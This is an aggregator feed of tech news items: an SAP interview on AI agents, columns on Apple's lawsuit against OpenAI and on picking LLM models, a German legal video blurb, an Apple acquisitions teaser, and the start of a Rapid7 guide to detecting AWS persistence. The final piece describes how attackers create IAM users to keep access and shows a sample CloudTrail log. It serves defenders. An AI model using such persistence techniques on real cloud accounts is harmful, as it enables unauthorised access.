<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s OpenAI lawsuit: The lunacy of trying to limit what ex-employees can tell future employers]]></title>
<description><![CDATA[When Apple sued OpenAI last week, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. 



The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But t...]]></description>
<link>https://tsecurity.de/de/3671252/it-nachrichten/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671252/it-nachrichten/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers/</guid>
<pubDate>Wed, 15 Jul 2026 18:03:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When <a href="https://www.computerworld.com/article/4195828/rotten-to-its-core-apple-files-an-explosive-lawsuit-against-openai.html">Apple sued OpenAI last week</a>, the argument it made was that former employees had stolen Apple data and then used it to benefit OpenAI. </p>



<p class="wp-block-paragraph">The technical details — an employee used “a rare, previously unknown authentication bug to access Apple’s shared network folders” — are interesting. But the larger story is Apple’s ridiculous attempt to stop its people from using anything they learned at Apple in other jobs.</p>



<p class="wp-block-paragraph">“Hiring managers don’t mind some files being brought into the org during onboarding, but suddenly take umbrage when that same employee exits with some files later on,” said <a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security. “Legal should be equally concerned about both events.”</p>



<p class="wp-block-paragraph">The lawsuit focused on Chang Liu, an employee who had been recruited to work at OpenAI after working at Apple for eight years as a Senior System Electrical Engineer. The <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.474095/gov.uscourts.cand.474095.1.0.pdf">full text of the filing</a> depicts a comedy of errors by Apple, offering the perfect “do not do” list of handling employee resignations — especially when they’re going to a direct competitor. </p>



<p class="wp-block-paragraph">“When Apple contacted Mr. Liu to sign Apple’s confidentiality reminder, schedule an exit interview, and confirm that he had returned his devices and complied with other exit procedures, Mr. Liu did not respond.” And “after leaving Apple, Mr. Liu failed to return an Apple-issued work laptop that he had previously authenticated to Apple’s network.”</p>



<p class="wp-block-paragraph">First, typical procedure for handling departures is to tie the return of all equipment and the signing of documents to any final payments. With Apple, that is likely to be a large amount of money. The lawsuit does not say whether Apple exerted any financial pressure on their employee for compliance. </p>



<p class="wp-block-paragraph">But in terms of equipment with high-level access, why weren’t all privileges revoked, both for the employee and any and all company-issued devices? Did they not maintain a remote-wipe capability for these devices? Although remote-wipe is usually used when devices are missing or stolen, it should work as well when a departing employee refuses to return company equipment. </p>



<p class="wp-block-paragraph">According to Apple, Liu apparently had help at Apple from Tang Yew Tan, who was supposedly also interviewing with OpenAI. “While employed by OpenAI, [Liu] accessed and used his former colleague’s Apple-issued work computer that was authenticated to Apple’s network, without Apple’s authorization.”</p>



<p class="wp-block-paragraph">Apple tried to make much of this Liu’s fault. Legally, yes, there might be liability there; still, Apple made itself look as if it couldn’t protect its own data. “Upon discovering that he had this unauthorized access to Apple’s systems, [the former employee] did not report it, return his stolen Apple-issued work laptop or delete the program that allowed the access.” </p>



<p class="wp-block-paragraph">Really, Apple? Your data-protection plan relies on ex-employees to “delete the program that allowed the access”? I’m not so sure you didn’t bring some of this data-leakage on yourselves. </p>



<p class="wp-block-paragraph">This gets worse: “Over several weeks, while developing hardware for OpenAI, Mr. Liu surreptitiously accessed and downloaded dozens of Apple’s confidential hardware-related files, including voluminous, detailed information about unreleased products, engineering presentations, technical specifications, and proprietary project data.”</p>



<p class="wp-block-paragraph">Setting aside the issue of privileges, access, and unreturned equipment that apparently had its own privileges, that statement points to massive data exfiltration from Apple systems. Even if it is coming from a current employee, why didn’t that raise any red flags? </p>



<p class="wp-block-paragraph">Let’s get back to the broader implications. When professionals move from one company to another, they — of course — are bringing their experience and knowledge with them. Can Apple reasonably tell them that they can’t do so? Isn’t that experience and knowledge <em>exactly</em> why another company would want to hire them?</p>



<p class="wp-block-paragraph">Now, to be sure, stealing diagrams and product spec sheets is a clear violation. Let’s say Apple spent a lot of money on some hardware research projects. A member of that technical team would learn an awful lot, all on Apple’s dime. </p>



<p class="wp-block-paragraph">But is it fair and reasonable for Apple to say that the former employee can’t leverage that knowledge at his or her next job? </p>



<p class="wp-block-paragraph">This brings us back to the point Wilkes made: If Apple is going to try to prevent any former employee from leveraging on-the-job experience, then it should instruct all new employees not to use anything they learned in a previous job. </p>



<p class="wp-block-paragraph">That would be ridiculous. Companies pay for experienced talent because of that experience. Why pay for expertise if you insist employees not leverage any of it?</p>



<p class="wp-block-paragraph">Then there’s the amorphous nature of knowledge. So, it’s wrong to take detailed diagrams and spec details and hand them over to a new employer. But what if that worker heading out the door memorizes the documents (photographic memory) a day before resigning? Is a person prohibited from using something from memory?</p>



<p class="wp-block-paragraph">There’s also the fruit-of-the-poisonous tree legal argument. Even if a former employee doesn’t directly use stolen data, what if their knowledge leads to other money-saving insights for the new employer? </p>



<p class="wp-block-paragraph">Given that Apple hires as many specialists as it loses to rivals, wouldn’t it make sense to leverage everything your workforce knows and then let new employers do the same? But before you do that, Apple, tighten your exiting employee tech controls. </p>



<p class="wp-block-paragraph">Then maybe you wont’t have to file lawsuits like this down the road.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Which AI model should you bet your company on? None of them]]></title>
<description><![CDATA[Every day this past week I did something I suspect millions of other people also did: I stared at an LLM model picker and wondered which one I was supposed to want.



OpenAI just released ⁠GPT-5.6 Sol, Terra, and Luna. Sol is the flagship. Terra offers much of its intelligence for less money. Lu...]]></description>
<link>https://tsecurity.de/de/3671165/ai-nachrichten/which-ai-model-should-you-bet-your-company-on-none-of-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671165/ai-nachrichten/which-ai-model-should-you-bet-your-company-on-none-of-them/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every day this past week I did something I suspect millions of other people also did: I stared at an <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLM </a>model picker and wondered which one I was supposed to want.</p>



<p class="wp-block-paragraph">OpenAI just released ⁠<a href="https://openai.com/index/gpt-5-6/">GPT-5.6 Sol, Terra, and Luna</a>. Sol is the flagship. Terra offers much of its intelligence for less money. Luna is cheaper still. Anthropic released ⁠<a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a> at the end of June and Opus 4.8 the month prior, with a little Fable 5 emerging in between. Meanwhile, Google, which seemed to be winning the model wars a few months ago, is now getting shade from Gergely Orosz, who ⁠<a href="https://x.com/GergelyOrosz/status/2075160978493210685?s=20">argues that Gemini has slipped outside the top tier</a> for software development and has been out of the major model release game for <em>eons</em> (May 19).</p>



<p class="wp-block-paragraph">Perhaps Orosz is right. Perhaps he’ll be wrong again in six weeks. Honestly, it’s exhausting.</p>



<p class="wp-block-paragraph">I use ChatGPT and Claude constantly and still have no principled idea which model to choose most of the time. I tend to click whatever looks like the biggest, most expensive option because I don’t know what I’m giving up by choosing something smaller. “Instant” sounds dangerously unserious. “Thinking” sounds expensive but powerful.</p>



<p class="wp-block-paragraph">A quick <a href="https://www.linkedin.com/feed/update/urn:li:activity:7481369774401409024/">survey of my LinkedIn crowd</a> suggests others also feel my “WHICH MODEL???” pain. More importantly, I suspect most enterprises do, too.</p>



<h2 class="wp-block-heading"><a></a>A model doesn’t rot</h2>



<p class="wp-block-paragraph">Before getting carried away, however, it’s worth considering whether any of this model churn actually matters. After all, a model doesn’t rot. The model an enterprise put into production in March performs just as well in July as it did when the company selected it. “Obsolete” generally means that something better now exists, not that the deployed model suddenly stopped summarizing insurance claims or classifying support tickets. (In other words, once you have something working, the idea that “but maybe Opus 200.2 is better!” is really a FOMO problem, not a performance issue.)</p>



<p class="wp-block-paragraph">Most enterprise workloads don’t live at the frontier anyway. Extraction, summarization, classification, document comparison, and customer-service assistance often work perfectly well with smaller, cheaper models. OpenAI’s own pitch for the trio of GPT-5.6 models isn’t simply that Sol is better. It’s that ⁠Terra and Luna deliver different combinations of intelligence, latency, and cost. Luna, the cheapest tier, nearly matches the previous generation’s peak performance at less than half the estimated cost, according to OpenAI.</p>



<p class="wp-block-paragraph">The practical question, of course, is where to start. An enterprise can’t test every model, every reasoning setting, and every price tier before doing any work. So here’s my advice (which I don’t follow in my own work, but I’m not defining enterprise strategy and can be a little price-insensitive). Start with the cheapest credible model that appears capable of the task. Give it a representative set of real examples and, before you start testing, define what counts as good enough. If it passes, stop. If it fails, move up a tier or try a model with strengths better suited to the work.</p>



<p class="wp-block-paragraph">That sounds almost offensively simple, but it reverses the way many people, including me, use these products. We start with the biggest model because we’re afraid of what we might lose. Enterprises should start lower and require evidence before paying for more intelligence.</p>



<p class="wp-block-paragraph">There are exceptions, of course. For genuinely difficult work, such as autonomous coding, complex research, or high-stakes reasoning, beginning with a frontier model may save time. But even then, the goal should be to establish a quality ceiling, then test whether a cheaper model can meet it. It’s changing the question from “which model is best?” to “what is the least expensive model that reliably clears the bar for this job?”</p>



<p class="wp-block-paragraph">For many workloads, that price improvement matters more than a few extra benchmark points. <a href="https://www.infoworld.com/article/2335519/ai-hype-isnt-helping-anyone.html">⁠As I argued back in 2023</a>, following AI hype doesn’t help anyone. If your model strategy depends on whichever benchmark screenshot is circulating on X this week, you don’t have a strategy. Not a viable one, anyway. Pick a model and ignore the noise.</p>



<p class="wp-block-paragraph">Except, of course, when that noise suggests a serious signal.</p>



<h2 class="wp-block-heading"><a></a>Sometimes better really is better</h2>



<p class="wp-block-paragraph">Frontier improvements aren’t always incremental, making it advantageous to consider an upgrade. Coding is the obvious example. There’s a significant difference between a model that suggests the next few lines of code and one that can inspect a repository, plan a change, use tools, run tests, discover its own mistakes, and keep working for an extended period. That isn’t merely a nicer autocomplete experience. It can reorganize a development workflow.</p>



<p class="wp-block-paragraph">This is why enterprises can’t simply standardize on an 18-month-old model and declare victory. In some areas, particularly software development and other agentic work, better models can unlock compounding productivity. A model that reliably completes 80% of a bounded task rather than 50% may justify an entirely different division of labor between humans and machines.</p>



<p class="wp-block-paragraph">Still, that upgrade isn’t free.</p>



<p class="wp-block-paragraph">Models differ in how they interpret instructions, call tools, manage context, refuse requests, and fail. Prompts and scaffolding tuned for one model can regress when moved to another. Or costs can explode. As one of my Oracle colleagues discovered just this week, running the same tasks in GPT 5.6 was orders of magnitude more expensive than 5.5. The API change may be trivial, but the revalidation and implications are not.</p>



<p class="wp-block-paragraph">This leaves enterprises caught between two bad options. They can freeze and potentially miss out on meaningful improvements or chase every release and repeatedly test production systems on faith. What to do?</p>



<h2 class="wp-block-heading"><a></a>Stop making model bets</h2>



<p class="wp-block-paragraph">The answer is to stop making LLM bets and start making job-to-be-done bets. Stop asking which model is fastest. Instead, figure out what work you are trying to improve. What does a good result look like? How much latency and cost can the workflow tolerate? How wrong can it be before a human must intervene? Once those questions have answers, model selection becomes less opaque.</p>



<p class="wp-block-paragraph">A difficult code migration may justify GPT-5.6 Sol or Claude Sonnet 5. A repetitive classification task may work just as well with Luna or another smaller model. A regulated workflow may require a model or deployment option that offers particular data controls. Sometimes the correct model is no LLM at all, like when I’m writing this post. Sorry, AI vendors! (At least you won’t get blamed for my mistakes.)</p>



<p class="wp-block-paragraph">This is where evaluations become the center of enterprise AI strategy. <a href="https://www.infoworld.com/article/4166247/improving-ai-agents-through-better-evaluations.html">⁠As I’ve said before</a>, most companies don’t have an AI quality problem so much as an AI measurement problem. Hence, a private evaluation suite built from real company work is the only leaderboard that matters. Does the new model materially improve quality? If so, use it! Does it reduce cost or latency? Again, that’s your free pass to adoption. Does the improvement justify the expense and effort of revalidation? If yes, continue.</p>



<h2 class="wp-block-heading"><a></a>Make model releases boring</h2>



<p class="wp-block-paragraph">As important as the model is, keep in mind that AI success always comes back to <em>your</em> company’s data, <em>your</em> company’s workflows<em>, your</em> company’s integrations, etc. That’s the ⁠<a href="https://www.infoworld.com/article/4157506/mastering-the-dull-reality-of-sexy-ai.html">dull reality behind sexy AI</a>. Retrieval, <a href="https://www.infoworld.com/article/4189492/how-to-improve-the-memory-of-ai-agents.html">memory</a>, governance, data quality, <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>, and feedback loops aren’t as exciting as a new model launch, but they’re what ultimately make AI truly work.</p>



<p class="wp-block-paragraph">Again, when it’s time to consider something new, the principle should be to default to the least expensive model that reliably passes your evaluations. Only escalate harder tasks to more capable models when measurement shows that the premium pays. Tip: Make this invisible to employees so that the system routes to the best model for a particular prompt. As <a href="https://www.linkedin.com/feed/update/urn:li:activity:7481369774401409024/?dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287481372047860715522%2Curn%3Ali%3Aactivity%3A7481369774401409024%29">dbt Labs’ Jon Lewis expresses</a> it, “The best model is ‘Auto’ and I won’t hear anyone say otherwise.” OpenAI’s own ⁠<a href="https://developers.openai.com/api/docs/guides/latest-model">migration guidance</a> recommends testing models on representative tasks, including trying a lower reasoning level rather than automatically cranking everything to the maximum.</p>



<p class="wp-block-paragraph">As for me, I’ll probably keep clicking the shiniest option. I don’t have a formal evaluation suite for InfoWorld columns, and the marginal cost is a subscription I already pay. Enterprises don’t get that excuse.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mr. X stoppt Jay Riddle – Wenn Investigativjournalismus vor Gericht landet!]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 38x - Views:814 Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt

Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg
▬▬▬▬▬▬▬▬▬▬▬▬▬ 

Neue ju...]]></description>
<link>https://tsecurity.de/de/3671149/videos/mr-x-stoppt-jay-riddle-wenn-investigativjournalismus-vor-gericht-landet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671149/videos/mr-x-stoppt-jay-riddle-wenn-investigativjournalismus-vor-gericht-landet/</guid>
<pubDate>Wed, 15 Jul 2026 17:18:32 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 38x - Views:814 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Y1BtUp0GfRk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt<br />
<br />
Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Neue juristische Wendung im Fall der AnniTheDuck-Files: Nachdem bereits mehrere Abmahnungen ausgesprochen wurden, hat Mr. X nun auch eine einstweilige Verfügung gegen Jay Riddle erwirkt. Doch durfte Jay die beanstandeten Inhalte überhaupt veröffentlichen? Wir schauen uns an, was genau hinter der Entscheidung steckt, welche rechtlichen Maßstäbe hier gelten und wo die Grenzen zwischen investigativem Journalismus, Persönlichkeitsrechten und zulässiger Berichterstattung verlaufen.<br />
<br />
Jay Riddle Video: https://youtu.be/oH-E9ixL1Lc?si=CITTytXIznLwnoa9&t=93<br />
Art. 1 GG: https://www.gesetze-im-internet.de/gg/art_1.html<br />
Art. 2 GG: https://www.gesetze-im-internet.de/gg/art_2.html<br />
Art. 5 GG: https://www.gesetze-im-internet.de/gg/art_5.html<br />
§ 823 BGB: https://www.gesetze-im-internet.de/bgb/__823.html<br />
§ 1004 BGB: https://www.gesetze-im-internet.de/bgb/__1004.html<br />
§ 935 ZPO: https://www.gesetze-im-internet.de/zpo/__935.html<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Big AI acquisitions are not off the table under new CEO John Ternus]]></title>
<description><![CDATA[Apple knows that it needs to get really serious about AI server chips. There are signs that the company is willing to spend big under John Ternus to buy its way out of its AI problem.Siri could get even more powerful thanks to AI-related acquisitions. We already know that Apple is looking at deal...]]></description>
<link>https://tsecurity.de/de/3671114/ios-mac-os/big-ai-acquisitions-are-not-off-the-table-under-new-ceo-john-ternus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671114/ios-mac-os/big-ai-acquisitions-are-not-off-the-table-under-new-ceo-john-ternus/</guid>
<pubDate>Wed, 15 Jul 2026 17:08:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple knows that it needs to get really serious about AI server chips. There are signs that the company is willing to spend big under John Ternus to buy its way out of its AI problem.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68258-143885-66534-139548-Siri-xl-xl.jpg" alt="Hand holding a modern smartphone with a colorful gradient screen, displaying a grid of app icons on a bright background, against a plain light-colored backdrop" height="738"><br><span>Siri could get even more powerful thanks to AI-related acquisitions. </span></div><br>We already know that Apple is looking at deals such as one with PrismML to improve its on-device processing and <a href="https://appleinsider.com/inside/siri" title="Siri" data-kpt="1">Siri's</a> capabilities. Apple also wants to further its server-based AI processing too.<br><br>According to an article published <a href="https://www.theinformation.com/articles/apple-hunts-ai-chip-acquisitions">on Wednesday</a> by <em>The Information</em>, Apple is showing signs it's ready to switch acquisition tactics. Instead of deals in the hundreds of millions of dollars, it's prepared to do more in the range of billions of dollars, rivaling the deals to get Beats and PA Semi.<br><br><br> <a href="https://appleinsider.com/articles/26/07/15/big-ai-acquisitions-are-not-off-the-table-under-new-ceo-john-ternus?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244965?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Persistence Mechanisms in AWS]]></title>
<description><![CDATA[OverviewIn the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds...]]></description>
<link>https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</guid>
<pubDate>Wed, 15 Jul 2026 15:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p>In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.</p><p>Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.</p><h2>Persistence technique: IAM user</h2><p><span>One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.</span></p><p><span>During incident investigations, we have observed that malicious </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> actions are usually simple and often include only the </span><span><span data-type="inlineCode">userName</span></span><span> of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named </span><span><span data-type="inlineCode">malicious-user</span></span><span><em>.</em></span></p><p></p><pre language="json">   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
